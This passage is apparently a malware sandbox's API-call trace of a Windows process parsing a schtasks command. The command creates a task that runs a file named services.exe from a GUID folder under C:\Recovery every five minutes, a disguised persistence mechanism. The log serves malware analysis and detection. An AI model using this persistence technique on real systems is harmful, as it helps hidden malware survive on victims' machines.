lstrlenW (lpString="s") returned 1 [0148.396] lstrlenW (lpString="s") returned 1 [0148.396] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.396] lstrlenW (lpString="sc") returned 2 [0148.396] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.396] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|s|") returned 3 [0148.396] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.397] lstrlenW (lpString="|s|") returned 3 [0148.397] lstrlenW (lpString="|sc|") returned 4 [0148.397] SetLastError (dwErrCode=0x490) [0148.397] lstrlenW (lpString="u") returned 1 [0148.397] lstrlenW (lpString="u") returned 1 [0148.397] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.397] lstrlenW (lpString="sc") returned 2 [0148.397] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.397] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|u|") returned 3 [0148.397] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.397] lstrlenW (lpString="|u|") returned 3 [0148.397] lstrlenW (lpString="|sc|") returned 4 [0148.397] SetLastError (dwErrCode=0x490) [0148.397] lstrlenW (lpString="p") returned 1 [0148.397] lstrlenW (lpString="p") returned 1 [0148.397] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.397] lstrlenW (lpString="sc") returned 2 [0148.397] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.397] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|p|") returned 3 [0148.397] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.397] lstrlenW (lpString="|p|") returned 3 [0148.397] lstrlenW (lpString="|sc|") returned 4 [0148.397] SetLastError (dwErrCode=0x490) [0148.397] lstrlenW (lpString="ru") returned 2 [0148.397] lstrlenW (lpString="ru") returned 2 [0148.397] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.397] lstrlenW (lpString="sc") returned 2 [0148.397] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.397] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|ru|") returned 4 [0148.397] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.397] lstrlenW (lpString="|ru|") returned 4 [0148.398] lstrlenW (lpString="|sc|") returned 4 [0148.398] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0148.398] SetLastError (dwErrCode=0x490) [0148.398] lstrlenW (lpString="rp") returned 2 [0148.398] lstrlenW (lpString="rp") returned 2 [0148.398] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.398] lstrlenW (lpString="sc") returned 2 [0148.398] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.398] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|rp|") returned 4 [0148.398] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.398] lstrlenW (lpString="|rp|") returned 4 [0148.398] lstrlenW (lpString="|sc|") returned 4 [0148.398] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0148.398] SetLastError (dwErrCode=0x490) [0148.398] lstrlenW (lpString="sc") returned 2 [0148.398] lstrlenW (lpString="sc") returned 2 [0148.398] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.398] lstrlenW (lpString="sc") returned 2 [0148.398] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.398] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.398] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.398] lstrlenW (lpString="|sc|") returned 4 [0148.398] lstrlenW (lpString="|sc|") returned 4 [0148.398] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0148.398] SetLastError (dwErrCode=0x0) [0148.398] SetLastError (dwErrCode=0x0) [0148.398] lstrlenW (lpString="MINUTE") returned 6 [0148.398] lstrlenW (lpString="-/") returned 2 [0148.398] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0148.399] SetLastError (dwErrCode=0x490) [0148.399] SetLastError (dwErrCode=0x490) [0148.399] SetLastError (dwErrCode=0x0) [0148.399] lstrlenW (lpString="MINUTE") returned 6 [0148.399] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0148.399] SetLastError (dwErrCode=0x490) [0148.399] SetLastError (dwErrCode=0x0) [0148.399] GetProcessHeap () returned 0x370000 [0148.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38d560 [0148.399] _memicmp (_Buf1=0x38d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.399] lstrlenW (lpString="MINUTE") returned 6 [0148.399] GetProcessHeap () returned 0x370000 [0148.399] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38d580 [0148.399] lstrlenW (lpString="MINUTE") returned 6 [0148.399] lstrlenW (lpString=" \x09") returned 2 [0148.399] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0148.399] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0148.399] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0148.399] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0148.399] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0148.399] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0148.399] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0148.399] GetLastError () returned 0x0 [0148.399] lstrlenW (lpString="MINUTE") returned 6 [0148.399] lstrlenW (lpString="MINUTE") returned 6 [0148.399] SetLastError (dwErrCode=0x0) [0148.399] SetLastError (dwErrCode=0x0) [0148.399] lstrlenW (lpString="/mo") returned 3 [0148.399] lstrlenW (lpString="-/") returned 2 [0148.399] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.399] lstrlenW (lpString="create") returned 6 [0148.400] lstrlenW (lpString="create") returned 6 [0148.400] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.400] lstrlenW (lpString="mo") returned 2 [0148.400] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.400] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|create|") returned 8 [0148.400] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.400] lstrlenW (lpString="|create|") returned 8 [0148.400] lstrlenW (lpString="|mo|") returned 4 [0148.400] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0148.400] SetLastError (dwErrCode=0x490) [0148.400] lstrlenW (lpString="?") returned 1 [0148.400] lstrlenW (lpString="?") returned 1 [0148.400] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.400] lstrlenW (lpString="mo") returned 2 [0148.400] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.400] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|?|") returned 3 [0148.400] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.400] lstrlenW (lpString="|?|") returned 3 [0148.400] lstrlenW (lpString="|mo|") returned 4 [0148.400] SetLastError (dwErrCode=0x490) [0148.400] lstrlenW (lpString="s") returned 1 [0148.400] lstrlenW (lpString="s") returned 1 [0148.400] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.400] lstrlenW (lpString="mo") returned 2 [0148.400] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.400] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|s|") returned 3 [0148.401] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.401] lstrlenW (lpString="|s|") returned 3 [0148.401] lstrlenW (lpString="|mo|") returned 4 [0148.401] SetLastError (dwErrCode=0x490) [0148.401] lstrlenW (lpString="u") returned 1 [0148.401] lstrlenW (lpString="u") returned 1 [0148.401] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.401] lstrlenW (lpString="mo") returned 2 [0148.401] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.401] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|u|") returned 3 [0148.401] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.401] lstrlenW (lpString="|u|") returned 3 [0148.401] lstrlenW (lpString="|mo|") returned 4 [0148.401] SetLastError (dwErrCode=0x490) [0148.401] lstrlenW (lpString="p") returned 1 [0148.401] lstrlenW (lpString="p") returned 1 [0148.401] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.401] lstrlenW (lpString="mo") returned 2 [0148.401] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.401] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|p|") returned 3 [0148.401] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.401] lstrlenW (lpString="|p|") returned 3 [0148.401] lstrlenW (lpString="|mo|") returned 4 [0148.401] SetLastError (dwErrCode=0x490) [0148.401] lstrlenW (lpString="ru") returned 2 [0148.401] lstrlenW (lpString="ru") returned 2 [0148.401] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.402] lstrlenW (lpString="mo") returned 2 [0148.402] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.402] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|ru|") returned 4 [0148.402] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.402] lstrlenW (lpString="|ru|") returned 4 [0148.402] lstrlenW (lpString="|mo|") returned 4 [0148.402] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0148.402] SetLastError (dwErrCode=0x490) [0148.402] lstrlenW (lpString="rp") returned 2 [0148.402] lstrlenW (lpString="rp") returned 2 [0148.402] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.402] lstrlenW (lpString="mo") returned 2 [0148.402] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.402] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|rp|") returned 4 [0148.402] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.402] lstrlenW (lpString="|rp|") returned 4 [0148.402] lstrlenW (lpString="|mo|") returned 4 [0148.402] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0148.402] SetLastError (dwErrCode=0x490) [0148.402] lstrlenW (lpString="sc") returned 2 [0148.402] lstrlenW (lpString="sc") returned 2 [0148.402] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.402] lstrlenW (lpString="mo") returned 2 [0148.402] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.402] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.402] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.402] lstrlenW (lpString="|sc|") returned 4 [0148.403] lstrlenW (lpString="|mo|") returned 4 [0148.403] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0148.403] SetLastError (dwErrCode=0x490) [0148.403] lstrlenW (lpString="mo") returned 2 [0148.403] lstrlenW (lpString="mo") returned 2 [0148.403] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.403] lstrlenW (lpString="mo") returned 2 [0148.403] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.403] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.403] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.403] lstrlenW (lpString="|mo|") returned 4 [0148.403] lstrlenW (lpString="|mo|") returned 4 [0148.403] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0148.403] SetLastError (dwErrCode=0x0) [0148.403] SetLastError (dwErrCode=0x0) [0148.403] lstrlenW (lpString="5") returned 1 [0148.403] SetLastError (dwErrCode=0x490) [0148.403] SetLastError (dwErrCode=0x0) [0148.403] lstrlenW (lpString="5") returned 1 [0148.403] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0148.403] SetLastError (dwErrCode=0x490) [0148.403] SetLastError (dwErrCode=0x0) [0148.403] _memicmp (_Buf1=0x38d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.403] lstrlenW (lpString="5") returned 1 [0148.403] lstrlenW (lpString="5") returned 1 [0148.403] lstrlenW (lpString=" \x09") returned 2 [0148.403] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0148.403] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0148.403] GetLastError () returned 0x0 [0148.404] lstrlenW (lpString="5") returned 1 [0148.404] lstrlenW (lpString="5") returned 1 [0148.404] GetProcessHeap () returned 0x370000 [0148.404] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x4) returned 0x38b9d0 [0148.404] SetLastError (dwErrCode=0x0) [0148.404] SetLastError (dwErrCode=0x0) [0148.404] lstrlenW (lpString="/tr") returned 3 [0148.404] lstrlenW (lpString="-/") returned 2 [0148.404] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0148.404] lstrlenW (lpString="create") returned 6 [0148.404] lstrlenW (lpString="create") returned 6 [0148.404] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.404] lstrlenW (lpString="tr") returned 2 [0148.404] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.404] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|create|") returned 8 [0148.404] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.404] lstrlenW (lpString="|create|") returned 8 [0148.404] lstrlenW (lpString="|tr|") returned 4 [0148.404] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0148.404] SetLastError (dwErrCode=0x490) [0148.404] lstrlenW (lpString="?") returned 1 [0148.404] lstrlenW (lpString="?") returned 1 [0148.404] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.404] lstrlenW (lpString="tr") returned 2 [0148.404] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.404] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|?|") returned 3 [0148.404] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.404] lstrlenW (lpString="|?|") returned 3 [0148.404] lstrlenW (lpString="|tr|") returned 4 [0148.404] SetLastError (dwErrCode=0x490) [0148.404] lstrlenW (lpString="s") returned 1 [0148.405] lstrlenW (lpString="s") returned 1 [0148.405] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.405] lstrlenW (lpString="tr") returned 2 [0148.405] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.405] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|s|") returned 3 [0148.405] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.405] lstrlenW (lpString="|s|") returned 3 [0148.405] lstrlenW (lpString="|tr|") returned 4 [0148.405] SetLastError (dwErrCode=0x490) [0148.405] lstrlenW (lpString="u") returned 1 [0148.405] lstrlenW (lpString="u") returned 1 [0148.405] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.405] lstrlenW (lpString="tr") returned 2 [0148.405] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.405] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|u|") returned 3 [0148.405] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.405] lstrlenW (lpString="|u|") returned 3 [0148.405] lstrlenW (lpString="|tr|") returned 4 [0148.405] SetLastError (dwErrCode=0x490) [0148.405] lstrlenW (lpString="p") returned 1 [0148.405] lstrlenW (lpString="p") returned 1 [0148.405] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.405] lstrlenW (lpString="tr") returned 2 [0148.405] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.405] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|p|") returned 3 [0148.405] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.406] lstrlenW (lpString="|p|") returned 3 [0148.406] lstrlenW (lpString="|tr|") returned 4 [0148.406] SetLastError (dwErrCode=0x490) [0148.406] lstrlenW (lpString="ru") returned 2 [0148.406] lstrlenW (lpString="ru") returned 2 [0148.406] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.406] lstrlenW (lpString="tr") returned 2 [0148.406] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.406] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|ru|") returned 4 [0148.406] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.406] lstrlenW (lpString="|ru|") returned 4 [0148.406] lstrlenW (lpString="|tr|") returned 4 [0148.406] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0148.406] SetLastError (dwErrCode=0x490) [0148.406] lstrlenW (lpString="rp") returned 2 [0148.406] lstrlenW (lpString="rp") returned 2 [0148.406] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.406] lstrlenW (lpString="tr") returned 2 [0148.406] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.406] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|rp|") returned 4 [0148.406] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.406] lstrlenW (lpString="|rp|") returned 4 [0148.406] lstrlenW (lpString="|tr|") returned 4 [0148.406] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0148.406] SetLastError (dwErrCode=0x490) [0148.406] lstrlenW (lpString="sc") returned 2 [0148.407] lstrlenW (lpString="sc") returned 2 [0148.407] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.407] lstrlenW (lpString="tr") returned 2 [0148.407] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.407] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|sc|") returned 4 [0148.407] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.407] lstrlenW (lpString="|sc|") returned 4 [0148.407] lstrlenW (lpString="|tr|") returned 4 [0148.407] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0148.407] SetLastError (dwErrCode=0x490) [0148.407] lstrlenW (lpString="mo") returned 2 [0148.407] lstrlenW (lpString="mo") returned 2 [0148.407] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.407] lstrlenW (lpString="tr") returned 2 [0148.407] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.407] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|mo|") returned 4 [0148.407] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.407] lstrlenW (lpString="|mo|") returned 4 [0148.407] lstrlenW (lpString="|tr|") returned 4 [0148.407] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0148.407] SetLastError (dwErrCode=0x490) [0148.407] lstrlenW (lpString="d") returned 1 [0148.407] lstrlenW (lpString="d") returned 1 [0148.407] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.407] lstrlenW (lpString="tr") returned 2 [0148.407] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.408] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|d|") returned 3 [0148.408] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.408] lstrlenW (lpString="|d|") returned 3 [0148.408] lstrlenW (lpString="|tr|") returned 4 [0148.408] SetLastError (dwErrCode=0x490) [0148.408] lstrlenW (lpString="m") returned 1 [0148.408] lstrlenW (lpString="m") returned 1 [0148.408] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.408] lstrlenW (lpString="tr") returned 2 [0148.408] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.408] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|m|") returned 3 [0148.408] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.408] lstrlenW (lpString="|m|") returned 3 [0148.408] lstrlenW (lpString="|tr|") returned 4 [0148.408] SetLastError (dwErrCode=0x490) [0148.408] lstrlenW (lpString="i") returned 1 [0148.408] lstrlenW (lpString="i") returned 1 [0148.408] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.408] lstrlenW (lpString="tr") returned 2 [0148.408] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.408] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|i|") returned 3 [0148.408] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.408] lstrlenW (lpString="|i|") returned 3 [0148.408] lstrlenW (lpString="|tr|") returned 4 [0148.408] SetLastError (dwErrCode=0x490) [0148.408] lstrlenW (lpString="tn") returned 2 [0148.409] lstrlenW (lpString="tn") returned 2 [0148.409] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.409] lstrlenW (lpString="tr") returned 2 [0148.409] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.409] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tn|") returned 4 [0148.409] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.409] lstrlenW (lpString="|tn|") returned 4 [0148.409] lstrlenW (lpString="|tr|") returned 4 [0148.409] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0148.409] SetLastError (dwErrCode=0x490) [0148.409] lstrlenW (lpString="tr") returned 2 [0148.409] lstrlenW (lpString="tr") returned 2 [0148.409] _memicmp (_Buf1=0x38c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.409] lstrlenW (lpString="tr") returned 2 [0148.409] _memicmp (_Buf1=0x38c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.409] _vsnwprintf (in: _Buffer=0x38c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.409] _vsnwprintf (in: _Buffer=0x38c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c3a8 | out: _Buffer="|tr|") returned 4 [0148.409] lstrlenW (lpString="|tr|") returned 4 [0148.409] lstrlenW (lpString="|tr|") returned 4 [0148.409] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0148.409] SetLastError (dwErrCode=0x0) [0148.409] SetLastError (dwErrCode=0x0) [0148.409] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.409] lstrlenW (lpString="-/") returned 2 [0148.409] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0148.409] SetLastError (dwErrCode=0x490) [0148.409] SetLastError (dwErrCode=0x490) [0148.409] SetLastError (dwErrCode=0x0) [0148.409] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.409] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0148.409] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.409] _memicmp (_Buf1=0x38c350, _Buf2=0xfff91b08, 